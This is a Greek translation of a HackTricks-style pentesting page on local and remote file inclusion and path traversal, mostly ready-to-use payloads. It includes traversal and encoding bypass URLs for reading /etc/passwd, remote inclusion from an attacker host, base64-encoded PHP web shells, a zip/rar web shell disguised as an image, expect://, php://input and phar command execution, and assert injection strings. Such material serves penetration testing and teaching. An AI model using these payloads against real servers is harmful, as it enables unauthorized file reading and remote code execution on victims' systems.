File Inclusion/Path traversal

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (Ειδικός Ερυθρού Συνεργείου AWS του HackTricks)!

Άλλοι τρόποι υποστήριξης του HackTricks:

Συμμετέχετε στον Διακομιστή Discord του HackenProof για να επικοινωνήσετε με έμπειρους χάκερ και κυνηγούς ευρημάτων ασφαλείας!

Εισαγωγή στο Χάκινγκ Ασχοληθείτε με περιεχόμενο που εξετάζει την αγωνία και τις προκλήσεις του χάκινγκ

Ειδήσεις Χάκινγκ σε Πραγματικό Χρόνο Μείνετε ενημερωμένοι με τον γρήγορο κόσμο του χάκινγκ μέσω ειδήσεων και αναλύσεων σε πραγματικό χρόνο

Τελευταίες Ανακοινώσεις Μείνετε ενήμεροι με τις νεότερες εκκινήσεις ανταμοιβών ευρημάτων και κρίσιμες ενημερώσεις πλατφόρμας

Ελάτε στο Discord και αρχίστε τη συνεργασία με κορυφαίους χάκερ σήμερα!

Συμπερίληψη Αρχείου

Απομακρυσμένη Συμπερίληψη Αρχείου (RFI): Το αρχείο φορτώνεται από έναν απομακρυσμένο διακομιστή (Καλύτερα: Μπορείτε να γράψετε τον κώδικα και ο διακομιστής θα τον εκτελέσει). Στην php αυτό είναι απενεργοποιημένο από προεπιλογή (allow_url_include). Τοπική Συμπερίληψη Αρχείου (LFI): Ο διακομιστής φορτώνει ένα τοπικό αρχείο.

Η ευπάθεια προκύπτει όταν ο χρήστης μπορεί να ελέγξει με κάποιον τρόπο το αρχείο που θα φορτωθεί από τον διακομιστή.

Ευπάθειες συναρτήσεις PHP: require, require_once, include, include_once

Ένα ενδιαφέρον εργαλείο για την εκμετάλλευση αυτής της ευπάθειας: https://github.com/kurobeats/fimap

Τυφλή - Ενδιαφέρουσα - Αρχεία LFI2RCE

wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ

Linux

Ανακατεύοντας αρκετές λίστες LFI του *nix και προσθέτοντας περισσότερα μονοπάτια, έχω δημιουργήσει αυτή:

Δοκιμάστε επίσης να αλλάξετε το / με το \ Δοκιμάστε επίσης να προσθέσετε ../../../../../

Μια λίστα που χρησιμοποιεί διάφορες τεχνικές για να βρει το αρχείο /etc/password (για να ελέγξει αν υπάρχει η ευπάθεια) μπορεί να βρεθεί εδώ

Windows

Συγχώνευση διαφορετικών λιστών λέξεων:

Δοκιμάστε επίσης να αλλάξετε το / με το \ Δοκιμάστε επίσης να αφαιρέσετε το C:/ και να προσθέσετε ../../../../../

Μια λίστα που χρησιμοποιεί διάφορες τεχνικές για να βρει το αρχείο /boot.ini (για να ελέγξει αν υπάρχει η ευπάθεια) μπορεί να βρεθεί εδώ

OS X

Ελέγξτε τη λίστα LFI του Linux.

Βασική LFI και παρακάμψεις

Όλα τα παραδείγματα είναι για τοπική εισαγωγή αρχείου, αλλά μπορούν να εφαρμοστούν και στην απομακρυσμένη εισαγωγή αρχείου επίσης (σελίδα=http://myserver.com/phpshellcode.txt\.

http://example.com/index.php?page=../../../etc/passwd

ακολουθίες διάβασης αφαιρεμένες μη αναδρομικά

http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd

Μηδενικό byte (%00)

Αποφύγετε την προσθήκη περισσότερων χαρακτήρων στο τέλος του παρεχόμενου συμβολοσειράς (αποφυγή του: $_GET['param']."php")

http://example.com/index.php?page=../../../etc/passwd%00

Αυτό έχει λυθεί από την PHP 5.4

Κωδικοποίηση

Μπορείτε να χρησιμοποιήσετε μη τυπικές κωδικοποιήσεις όπως διπλό URL κωδικοποίηση (και άλλες):

http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00

Από υπάρχουσα φάκελο

Ίσως το back-end ελέγχει τη διαδρομή του φακέλου:

http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd

Εξερεύνηση των Καταλόγων του Συστήματος Αρχείων σε Ένα Διακομιστή

Ο σύστημα αρχείων ενός διακομιστή μπορεί να εξερευνηθεί αναδρομικά για την αναγνώριση καταλόγων, όχι μόνο αρχείων, χρησιμοποιώντας συγκεκριμένες τεχνικές. Αυτή η διαδικασία περιλαμβάνει τον προσδιορισμό του βάθους του καταλόγου και τον έλεγχο για την ύπαρξη συγκεκριμένων φακέλων. Παρακάτω παρουσιάζεται μια λεπτομερής μέθοδος για την επίτευξη αυτού:

  1. Καθορισμός Βάθους Καταλόγου: Καθορίστε το βάθος του τρέχοντος καταλόγου σας επιτυχώς ανακτώντας το αρχείο /etc/passwd (ισχύει εάν ο διακομιστής είναι βασισμένος σε Linux). Ένα παράδειγμα URL μπορεί να έχει την ακόλουθη δομή, υποδεικνύοντας ένα βάθος τριών:

http://example.com/index.php?page=../../../etc/passwd # depth of 3
  1. Έρευνα Φακέλων: Προσθέστε το όνομα του υποψιαζόμενου φακέλου (π.χ., private) στο URL, στη συνέχεια πλοηγηθείτε πίσω στο /etc/passwd. Το επιπλέον επίπεδο φακέλου απαιτεί αύξηση του βάθους κατά ένα:

http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
  1. Ερμηνεία των Αποτελεσμάτων: Η απάντηση του διακομιστή υποδηλώνει εάν ο φάκελος υπάρχει:

    • Σφάλμα / Καμία Έξοδος: Ο φάκελος private πιθανότατα δεν υπάρχει στην καθορισμένη τοποθεσία.

    • Περιεχόμενα του /etc/passwd: Η ύπαρξη του φακέλου private επιβεβαιώνεται.

  2. Αναδρομική Εξερεύνηση: Οι ανακαλυφθέντες φάκελοι μπορούν να εξεταστούν περαιτέρω για υποφακέλους ή αρχεία χρησιμοποιώντας την ίδια τεχνική ή τις παραδοσιακές μεθόδους Τοπικής Ενσωμάτωσης Αρχείων (LFI).

Για την εξερεύνηση καταλόγων σε διαφορετικές τοποθεσίες στο σύστημα αρχείων, προσαρμόστε το φορτίο αναλόγως. Για παράδειγμα, για να ελέγξετε εάν ο φάκελος /var/www/ περιέχει έναν φάκελο private (υποθέτοντας ότι ο τρέχων φάκελος βρίσκεται σε βάθος 3), χρησιμοποιήστε:

http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd

Τεχνική Ενσωμάτωσης Διαδρομής

Η ενσωμάτωση διαδρομής είναι μια μέθοδος που χρησιμοποιείται για την τροποποίηση των διαδρομών αρχείων σε web εφαρμογές. Συχνά χρησιμοποιείται για την πρόσβαση σε περιορισμένα αρχεία παρακάμπτοντας συγκεκριμένα μέτρα ασφαλείας που προσθέτουν επιπλέον χαρακτήρες στο τέλος των διαδρομών αρχείων. Ο στόχος είναι να δημιουργηθεί μια διαδρομή αρχείου που, αφού τροποποιηθεί από το μέτρο ασφαλείας, να εξακολουθεί να δείχνει στο επιθυμητό αρχείο.

Στην PHP, διάφορες αναπαραστάσεις μιας διαδρομής αρχείου μπορούν να θεωρηθούν ισοδύναμες λόγω της φύσης του συστήματος αρχείων. Για παράδειγμα:

  • /etc/passwd, /etc//passwd, /etc/./passwd, και /etc/passwd/ θεωρούνται όλα ως ίδια διαδρομή.

  • Όταν οι τελευταίοι 6 χαρακτήρες είναι passwd, η προσθήκη ενός / (κάνοντάς το passwd/) δεν αλλάζει το στοχευόμενο αρχείο.

  • Επίσης, αν προστεθεί το .php σε μια διαδρομή αρχείου (όπως shellcode.php), η προσθήκη ενός /. στο τέλος δεν θα αλλάξει το αρχείο που προσπελαύνεται.

Τα παραδείγματα που παρέχονται δείχνουν πώς να χρησιμοποιήσετε την ενσωμάτωση διαδρομής για να αποκτήσετε πρόσβαση στο /etc/passwd, ένα συνηθισμένο στόχο λόγω του ευαίσθητου περιεχομένου του (πληροφορίες λογαριασμών χρηστών):

http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd

Σε αυτά τα σενάρια, ο αριθμός των διασχίσεων που απαιτούνται μπορεί να είναι περίπου 2027, αλλά αυτός ο αριθμός μπορεί να ποικίλει ανάλογα με τη διαμόρφωση του διακομιστή.

  • Χρήση τμημάτων με τελείες και επιπλέον χαρακτήρες: Ακολουθίες διέλευσης (../) σε συνδυασμό με επιπλέον τμήματα τελείας και χαρακτήρες μπορούν να χρησιμοποιηθούν για την πλοήγηση στο σύστημα αρχείων, αγνοώντας αποτελεσματικά τις προσαρτημένες συμβολοσειρές από τον διακομιστή.

  • Καθορισμός του απαιτούμενου αριθμού διασχίσεων: Μέσω δοκιμής και σφάλματος, μπορεί κανείς να βρει τον ακριβή αριθμό ακολουθιών ../ που απαιτούνται για να πλοηγηθεί στον ριζικό κατάλογο και στη συνέχεια στο /etc/passwd, εξασφαλίζοντας ότι οποιεσδήποτε προσαρτημένες συμβολοσειρές (όπως .php) αναιρούνται αλλά η επιθυμητή διαδρομή (/etc/passwd) παραμένει ανέπαφη.

  • Έναρξη με ένα ψεύτικο κατάλογο: Είναι συνηθισμένο να ξεκινά η διαδρομή με ένα μη υπαρκτό κατάλογο (όπως a/). Αυτή η τεχνική χρησιμοποιείται ως προληπτικό μέτρο ή για να εκπληρωθούν οι απαιτήσεις της λογικής ανάλυσης διαδρομής του διακομιστή.

Κατά τη χρήση τεχνικών διακοπής διαδρομής, είναι κρίσιμο να κατανοήσετε τη συμπεριφορά ανάλυσης διαδρομής του διακομιστή και τη δομή του συστήματος αρχείων. Κάθε σενάριο μπορεί να απαιτεί μια διαφορετική προσέγγιση, και συχνά είναι απαραίτητο το τεστ για την εύρεση της πιο αποτελεσματικής μεθόδου.

Αυτή η ευπάθεια διορθώθηκε στο PHP 5.3.

Κόλπα παράκαμψης φίλτρων

http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter

Απομακρυσμένη Συμπερίληψη Αρχείου

Στην php αυτό είναι απενεργοποιημένο από προεπιλογή επειδή το allow_url_include είναι Off. Πρέπει να είναι On για να λειτουργήσει, και σε αυτήν την περίπτωση θα μπορούσατε να συμπεριλάβετε ένα αρχείο PHP από τον διακομιστή σας και να λάβετε RCE:

http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php

Εάν για κάποιο λόγο το allow_url_include είναι On, αλλά το PHP φιλτράρει την πρόσβαση σε εξωτερικές ιστοσελίδες, σύμφωνα με αυτή την ανάρτηση, μπορείτε να χρησιμοποιήσετε για παράδειγμα το πρωτόκολλο data με το base64 για να αποκωδικοποιήσετε έναν κώδικα PHP b64 και να λάβετε RCE:

PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt

Στον προηγούμενο κώδικα, το τελικό +.txt προστέθηκε επειδή ο επιτιθέμενος χρειαζόταν ένα string που να τελειώνει σε .txt, έτσι το string τελειώνει με αυτό και μετά την αποκωδικοποίηση b64 αυτό το τμήμα θα επιστρέψει απλώς ανούσια δεδομένα και το πραγματικό κομμάτι κώδικα PHP θα συμπεριληφθεί (και συνεπώς, θα εκτελεστεί).

Ένα άλλο παράδειγμα χωρίς τη χρήση του πρωτοκόλλου php:// θα ήταν:

data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt

Ρίζα στοιχείου Python

Στην Python σε έναν κώδικα όπως αυτόν:

# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)

Εάν ο χρήστης περάσει ένα απόλυτο μονοπάτι στο file_name, το προηγούμενο μονοπάτι απλώς αφαιρείται:

os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'

Αυτή είναι η επιθυμητή συμπεριφορά σύμφωνα με τα έγγραφα:

Εάν ένα στοιχείο είναι απόλυτη διαδρομή, όλα τα προηγούμενα στοιχεία απορρίπτονται και η συνένωση συνεχίζεται από το απόλυτο στοιχείο της διαδρομής.

Κατάλογοι λίστας Java

Φαίνεται ότι εάν έχετε μια Διαδρομή Εκμετάλλευσης στην Java και ζητήσετε έναν κατάλογο αντί για ένα αρχείο, επιστρέφεται μια λίστα του καταλόγου. Αυτό δεν θα συμβεί σε άλλες γλώσσες (απ' όσο γνωρίζω).

Κορυφαίες 25 παράμετροι

Εδώ είναι η λίστα των 25 κορυφαίων παραμέτρων που θα μπορούσαν να είναι ευάλωτες σε τοπικές ενσωματώσεις αρχείων (LFI) (από το σύνδεσμο):

?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}

LFI / RFI χρησιμοποιώντας PHP wrappers & πρωτόκολλα

php://filter

Τα PHP φίλτρα επιτρέπουν βασικές λειτουργίες τροποποίησης των δεδομένων πριν αυτά διαβαστούν ή γραφτούν. Υπάρχουν 5 κατηγορίες φίλτρων:

  • Φίλτρα Συμβολοσειράς:

    • string.rot13

    • string.toupper

    • string.tolower

    • string.strip_tags: Αφαιρεί τις ετικέτες από τα δεδομένα (όλα μεταξύ των χαρακτήρων "<" και ">")

    • Σημειώστε ότι αυτό το φίλτρο έχει εξαφανιστεί από τις σύγχρονες εκδόσεις του PHP

  • Φίλτρα Μετατροπής

    • convert.base64-encode

    • convert.base64-decode

    • convert.quoted-printable-encode

    • convert.quoted-printable-decode

    • convert.iconv.* : Μετατρέπει σε διαφορετική κωδικοποίηση (convert.iconv.<input_enc>.<output_enc>). Για να λάβετε τη λίστα όλων των υποστηριζόμενων κωδικοποιήσεων εκτελέστε στη γραμμή εντολών: iconv -l

Καταχρώντας το φίλτρο μετατροπής convert.iconv.* μπορείτε να δημιουργήσετε αυθαίρετο κείμενο, το οποίο θα μπορούσε να είναι χρήσιμο για την εγγραφή αυθαίρετου κειμένου ή για τη δημιουργία μιας λειτουργίας όπως η συμπερίληψη αυθαίρετου κειμένου. Για περισσότερες πληροφορίες ελέγξτε το LFI2RCE μέσω php φίλτρων.

  • Φίλτρα Συμπίεσης

    • zlib.deflate: Συμπιέζει το περιεχόμενο (χρήσιμο αν εξαγάγετε πολλές πληροφορίες)

    • zlib.inflate: Αποσυμπιέζει τα δεδομένα

  • Φίλτρα Κρυπτογράφησης

    • mcrypt.* : Αποσυρμένο

    • mdecrypt.* : Αποσυρμένο

  • Άλλα Φίλτρα

    • Εκτελώντας στο php var_dump(stream_get_filters()); μπορείτε να βρείτε μερικά απροσδόκητα φίλτρα:

      • consumed

      • dechunk: αντιστρέφει την κωδικοποίηση HTTP chunked

      • convert.*

# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");

# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");

# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)

Το μέρος "php://filter" είναι μη διάκριση πεζών-κεφαλαίων

Χρησιμοποιώντας τα php φίλτρα ως oracle για την ανάγνωση αυθαίρετων αρχείων

Σε αυτήν την ανάρτηση προτείνεται μια τεχνική για την ανάγνωση ενός τοπικού αρχείου χωρίς να λάβετε την έξοδο από τον διακομιστή. Αυτή η τεχνική βασίζεται σε μια δυαδική εξυφάνωση του αρχείου (χαρακτήρα προς χαρακτήρα) χρησιμοποιώντας τα php φίλτρα ως oracle. Αυτό συμβαίνει επειδή τα php φίλτρα μπορούν να χρησιμοποιηθούν για να κάνουν ένα κείμενο αρκετά μεγάλο ώστε να προκαλέσουν μια εξαίρεση στο php.

Στην αρχική ανάρτηση μπορείτε να βρείτε μια λεπτομερή εξήγηση της τεχνικής, αλλά εδώ υπάρχει μια γρήγορη περίληψη:

  • Χρησιμοποιήστε τον κωδικοποιητή UCS-4LE για να αφήσετε τον πρώτο χαρακτήρα του κειμένου στην αρχή και να αυξήσετε εκθετικά το μέγεθος της συμβολοσειράς.

  • Αυτό θα χρησιμοποιηθεί για να δημιουργήσει ένα τόσο μεγάλο κείμενο όταν μαντευτεί σωστά το αρχικό γράμμα ώστε το php να προκαλέσει ένα σφάλμα

  • Το φίλτρο dechunk θα αφαιρέσει τα πάντα αν ο πρώτος χαρακτήρας δεν είναι εξαδεκαδικός, έτσι μπορούμε να γνωρίζουμε αν ο πρώτος χαρακτήρας είναι εξαδεκαδικός.

  • Αυτό, σε συνδυασμό με το προηγούμενο (και άλλα φίλτρα ανάλογα με το μαντεμένο γράμμα), θα μας επιτρέψει να μαντέψουμε ένα γράμμα στην αρχή του κειμένου βλέποντας πότε κάνουμε αρκετές μετασχηματίσεις ώστε να μην είναι πλέον εξαδεκαδικός χαρακτήρας. Επειδή αν είναι εξαδεκαδικός, το dechunk δεν θα το διαγράψει και το αρχικό "βόμβα" θα προκαλέσει σφάλμα στο php.

  • Ο κωδικοποιητής convert.iconv.UNICODE.CP930 μετατρέπει κάθε γράμμα στο επόμενο (έτσι μετά από αυτόν τον κωδικοποιητή: α -> β). Αυτό μας επιτρέπει να ανακαλύψουμε αν το πρώτο γράμμα είναι ένα α για παράδειγμα, επειδή αν εφαρμόσουμε 6 φορές αυτόν τον κωδικοποιητή α->β->γ->δ->ε->ζ το γράμμα δεν είναι πλέον εξαδεκαδικός χαρακτήρας, επομένως το dechunk δεν το διαγράφει και το σφάλμα του php προκαλείται επειδή πολλαπλασιάζεται με την αρχική "βόμβα".

  • Χρησιμοποιώντας άλλες μετασχηματίσεις όπως το rot13 στην αρχή είναι δυνατό να διαρρεύσουν άλλοι χαρακτήρες όπως το n, o, p, q, r (και άλλοι κωδικοποιητές μπορούν να χρησιμοποιηθούν για να μετακινήσουν άλλα γράμματα στο εύρος των εξαδεκαδικών).

  • Όταν το αρχικό γράμμα είναι ένας αριθμός, είναι απαραίτητο να τον κωδικοποιήσετε σε base64 και να διαρρεύσετε τα 2 πρώτα γράμματα για να διαρρεύσετε τον αριθμό.

  • Το τελικό πρόβλημα είναι να δούμε πώς να διαρρεύσουμε περισσότερο από το αρχικό γράμμα. Χρησιμοποιώντας φίλτρα μνήμης τάξης όπως convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE είναι δυνατό να αλλάξετε τη σειρά των χαρακτήρων και να πάρετε στην πρώτη θέση άλλα γράμματα του κειμένου.

  • Και για να είναι δυνατή η απόκτηση περαιτέρω δεδομένων η ιδέα είναι να δημιουργήσετε 2 bytes αχρήσιμων δεδομένων στην αρχή με το convert.iconv.UTF16.UTF16, να εφαρμόσετε το UCS-4LE για να το κάνετε περιστροφή με τα επόμενα 2 bytes, και να διαγράψετε τα δεδομένα μέχρι τα αχρήσιμα δεδομένα (αυτό θα αφαιρέσει τα πρώτα 2 bytes του αρχικού κειμένου). Συνεχίστε να κάνετε αυτό μέχρι να φτάσετε στο επιθυμητό bit για διαρροή.

Στην ανάρτηση διέρρευσε επίσης ένα εργαλείο για να εκτελέσετε αυτό αυτόματα: php_filters_chain_oracle_exploit.

php://fd

Αυτό το περιτύλιγμα επιτρέπει την πρόσβαση σε αριθμούς αναγνωριστικών αρχείων που έχει ανοιχτά η διαδικασία. Πιθανώς χρήσιμο για τη διαρροή του περιεχομένου ανοιχτών αρχείων:

echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");

Μπορείτε επίσης να χρησιμοποιήσετε τα php://stdin, php://stdout και php://stderr για πρόσβαση στα αρχεία περιγραφέων 0, 1 και 2 αντίστοιχα (δεν είναι σαφές πώς αυτό θα μπορούσε να είναι χρήσιμο σε μια επίθεση).

zip:// και rar://

Μεταφορτώστε ένα αρχείο Zip ή Rar με ένα PHPShell μέσα και αποκτήστε πρόσβαση σε αυτό. Για να μπορέσετε να καταχραστείτε το πρωτόκολλο rar χρειάζεται να ενεργοποιηθεί ειδικά.

echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php

http://example.com/index.php?page=zip://shell.jpg%23payload.php

# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php

data://

Το data:// σας επιτρέπει να διαβάσετε δεδομένα από τον server-side.

http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Σημείωση ότι αυτό το πρωτόκολλο περιορίζεται από τις ρυθμίσεις του php allow_url_open και allow_url_include

expect://

Το Expect πρέπει να είναι ενεργοποιημένο. Μπορείτε να εκτελέσετε κώδικα χρησιμοποιώντας αυτό:

http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls

input://

Καθορίστε το φορτίο σας στις παραμέτρους POST:

curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"

phar://

Ένα αρχείο .phar μπορεί να χρησιμοποιηθεί για την εκτέλεση κώδικα PHP όταν μια web εφαρμογή εκμεταλλεύεται λειτουργίες όπως το include για τη φόρτωση αρχείων. Το απόσπασμα κώδικα PHP που παρέχεται παρακάτω δείχνει τη δημιουργία ενός αρχείου .phar:

<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();

Για να συντάξετε το αρχείο .phar, πρέπει να εκτελέσετε την παρακάτω εντολή:

php --define phar.readonly=0 create_path.php

Κατά την εκτέλεση, θα δημιουργηθεί ένα αρχείο με το όνομα test.phar, το οποίο θα μπορούσε ενδεχομένως να χρησιμοποιηθεί για εκμετάλλευση ευπαθειών Τοπικής Συμπερίληψης Αρχείων (LFI).

Σε περιπτώσεις όπου το LFI εκτελεί μόνο ανάγνωση αρχείων χωρίς εκτέλεση του κώδικα PHP μέσα σε αυτά, μέσω συναρτήσεων όπως file_get_contents(), fopen(), file(), file_exists(), md5_file(), filemtime(), ή filesize(), μπορεί να προσπαθηθεί η εκμετάλλευση μιας ευπαθότητας αποσυσκευοποίησης. Αυτή η ευπαθότητα σχετίζεται με την ανάγνωση αρχείων χρησιμοποιώντας το πρωτόκολλο phar.

Για λεπτομερή κατανόηση της εκμετάλλευσης ευπαθειών αποσυσκευοποίησης στο πλαίσιο αρχείων .phar, ανατρέξτε στο έγγραφο που συνδέεται παρακάτω:

Οδηγός Εκμετάλλευσης Αποσυσκευοποίησης Phar

pagephar:// deserialization

Περισσότερα πρωτόκολλα

Ελέγξτε περισσότερα πιθανά πρωτόκολλα που μπορούν να συμπεριληφθούν εδώ:

  • php://memory και php://temp — Εγγραφή στη μνήμη ή σε ένα προσωρινό αρχείο (δεν είναι σίγουρο πώς μπορεί να είναι χρήσιμο σε μια επίθεση συμπερίληψης αρχείων)

  • file:// — Πρόσβαση στο τοπικό σύστημα αρχείων

  • http:// — Πρόσβαση σε διευθύνσεις URL HTTP(s)

  • ftp:// — Πρόσβαση σε διευθύνσεις URL FTP(s)

  • zlib:// — Ροές Συμπίεσης

  • glob:// — Εύρεση ονομάτων αρχείων που ταιριάζουν με ένα πρότυπο (Δεν επιστρέφει κάτι εκτυπώσιμο, οπότε δεν είναι πραγματικά χρήσιμο εδώ)

  • ssh2:// — Ασφαλής Κέλυφος 2

  • ogg:// — Ροές Ήχου (Δεν είναι χρήσιμο για την ανάγνωση αυθαίρετων αρχείων)

LFI μέσω της 'assert' του PHP

Οι κίνδυνοι Τοπικής Συμπερίληψης Αρχείων (LFI) στην PHP είναι ιδιαίτερα υψηλοί όταν ασχολούμαστε με τη λειτουργία 'assert', η οποία μπορεί να εκτελέσει κώδικα μέσα σε συμβολοσειρές. Αυτό είναι ιδιαίτερα προβληματικό εάν ελέγχεται είσοδος που περιέχει χαρακτήρες διάσχισης καταλόγου όπως ".." αλλά δεν αποσυνδέεται σωστά.

Για παράδειγμα, ο κώδικας PHP μπορεί να έχει σχεδιαστεί για να αποτρέψει τη διάσχιση καταλόγου ως εξής:

assert("strpos('$file', '..') === false") or die("");

Ενώ αυτό στοχεύει στο να σταματήσει τη διάβαση, αθέλητα δημιουργεί έναν διάνυσμα για ενσωμάτωση κώδικα. Για να εκμεταλλευτεί αυτό για την ανάγνωση περιεχομένων αρχείων, ένας επιτιθέμενος θα μπορούσε να χρησιμοποιήσει:

' and die(highlight_file('/etc/passwd')) or '

Επίσης, για την εκτέλεση αυθαίρετων εντολών συστήματος, κάποιος θα μπορούσε να χρησιμοποιήσει:

' and die(system("id")) or '

Είναι σημαντικό να κωδικοποιήσετε τις φορτώσεις αυτές με URL.

Συμμετέχετε στο HackenProof Discord server για να επικοινωνήσετε με έμπειρους χάκερ και κυνηγούς ευρημάτων ασφαλείας!

Εισαγωγή στο Hacking Ασχοληθείτε με περιεχόμενο που εξερευνά την αγωνία και τις προκλήσεις του χάκινγκ

Ειδήσεις Χάκινγκ σε Πραγματικό Χρόνο Μείνετε ενήμεροι με τον γρήγορο ρυθμό του κόσμου του χάκινγκ μέσω ειδήσεων και αναλύσεων σε πραγματικό χρόνο

Τελευταίες Ανακοινώσεις Μείνετε ενήμεροι με τις νεότερες ανταμοιβές ευρημάτων και κρίσιμες ενημερώσεις πλατφόρμας

Συμμετέχετε μαζί μας στο Discord και αρχίστε να συνεργάζεστε με κορυφαίους χάκερ σήμερα!

Τυφλή Διάβαση Διαδρομής PHP

Αυτή η τεχνική είναι σχετική σε περιπτώσεις όπου ελέγχετε τη διαδρομή αρχείου ενός PHP λειτουργίας που θα έχει πρόσβαση σε ένα αρχείο αλλά δεν θα δείτε το περιεχόμενο του αρχείου (όπως ένα απλό κάλεσμα στο file()) αλλά το περιεχόμενο δεν εμφανίζεται.

Σε αυτή την εκπληκτική ανάρτηση εξηγείται πώς μια τυφλή διάβαση διαδρομής μπορεί να καταχραστεί μέσω PHP φίλτρου για εξαγωγή του περιεχομένου ενός αρχείου μέσω ενός oracle σφάλματος.

Ως περίληψη, η τεχνική χρησιμοποιεί την κωδικοποίηση "UCS-4LE" για να κάνει το περιεχόμενο ενός αρχείου τόσο μεγάλο ώστε η PHP λειτουργία που ανοίγει το αρχείο θα ενεργοποιήσει ένα σφάλμα.

Στη συνέχεια, για να διαρρεύσει το πρώτο χαρακτήρα, χρησιμοποιείται το φίλτρο dechunk μαζί με άλλα όπως base64 ή rot13 και τελικά τα φίλτρα convert.iconv.UCS-4.UCS-4LE και convert.iconv.UTF16.UTF-16BE χρησιμοποιούνται για να τοποθετήσουν άλλους χαρακτήρες στην αρχή και να τους διαρρεύσουν.

Λειτουργίες που μπορεί να είναι ευάλωτες: file_get_contents, readfile, finfo->file, getimagesize, md5_file, sha1_file, hash_file, file, parse_ini_file, copy, file_put_contents (μόνο στόχος μόνο για ανάγνωση με αυτό), stream_get_contents, fgets, fread, fgetc, fgetcsv, fpassthru, fputs

Για τεχνικές λεπτομέρειες ελέγξτε την αναφερόμενη ανάρτηση!

LFI2RCE

Απομακρυσμένη Συμπερίληψη Αρχείου

Όπως εξηγήθηκε προηγουμένως, ακολουθήστε αυτόν τον σύνδεσμο.

Μέσω αρχείου καταγραφής Apache/Nginx

